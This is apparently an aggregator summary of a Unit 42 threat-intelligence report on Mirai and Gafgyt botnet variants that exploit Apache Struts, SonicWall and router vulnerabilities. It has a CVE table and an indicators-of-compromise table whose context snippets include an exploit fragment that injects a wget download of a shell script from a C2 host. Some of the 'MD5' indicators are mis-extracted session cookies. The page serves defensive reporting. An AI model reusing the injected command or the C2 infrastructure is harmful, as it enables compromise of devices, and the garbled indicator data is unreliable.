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Multi-exploit IoT/Linux Botnets Mirai and Gafgyt Target Apache Struts, SonicWall

Palo Alto Unit 42by Ruchna Nigam ()8 min read2
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Vulnerabilities mentioned

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CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2017-17215
Huawei HG532 with some customized versions has a remote code execution vulnerability
8.878%
CVE-2017-5638
Unauthenticated RCE in Apache Struts Jakarta Multipart parser
9.8100%KEVRansomwarePoC ×10
KEV
CVE-2017-6884
Command Injection in Zyxel EMG2926 Router Diagnostics
8.833%KEVRansomwarePoC
KEV
CVE-2018-9866
A vulnerability in lack of validation of user-supplied parameters pass to XML-RPC calls on SonicWall Global Management System (GMS) virtual appliance's, allow…
9.85%PoC

Indicators of compromise

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TypeIndicatorContext
domainl.ocalhost.hostbruteforce functionality generally used by Mirai. They use l[.]ocalhost[.]host:47883 as C2, and the same encryption scheme as Mirai wi
domainpurenetworks.come campaigns linked above i.e. it targets SOAPAction: http://purenetworks[.]com/HNAP1/GetDeviceSettings/ D-Link OS Command Injection D-Li
ipv41.3.3.7ection : close Content - Length : x act = discover &address=1.3.3.7|`wget%20http://l.ocalhost.host/iscsi.sh%20-O%20-%3E%20/tmp/
ipv4185.10.68.127t 2018, that same domain resolved to a different IP address 185[.]10[.]68[.]127 . At that time we found that IP hosting samples of Ga
ipv4185.10.68.213509dee9b8072678b27290ed3 Infrastructure l[.]ocalhost[.]host 185[.]10[.]68[.]213 185[.]10[.]68[.]127
md53bc601000ea8f085c22cb37b9b102b7fpt - Language : en - US , en ; q = 0.8 Cookie : PHPSESSID = 3bc601000ea8f085c22cb37b9b102b7f ; lang = en Connection : close bfolder = % 2Fmtd % 2Fblock3
md5542b58462355e4e3b99faa42842e62ffX - Requested - With : XMLHttpRequest Cookie : JSESSIONID = 542B58462355E4E3B99FAA42842E62FF Connection : close Pragma : no - cache Cache - Control : no
md5c9fdced9e8129eb4c14e3154cd0e0ce3pt - Language : en - US , en ; q = 0.8 Cookie : PHPSESSID = c9fdced9e8129eb4c14e3154cd0e0ce3 ; lang = en ; loginName = admin Connection : close Content
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8 min read at unit42.paloaltonetworks.com

Unit 42 has uncovered new variants of the well-known IoT botnets Mirai and Gafgyt. These are the IoT botnets associated with unprecedented Distributed Denial of Service attacks in November 2016 and since. The new Mirai version targets the same Apache Struts vulnerability associated with the Equifax data breach in 2017.

Palo Alto Unit 42

By Ruchna Nigam · unit42.paloaltonetworks.com

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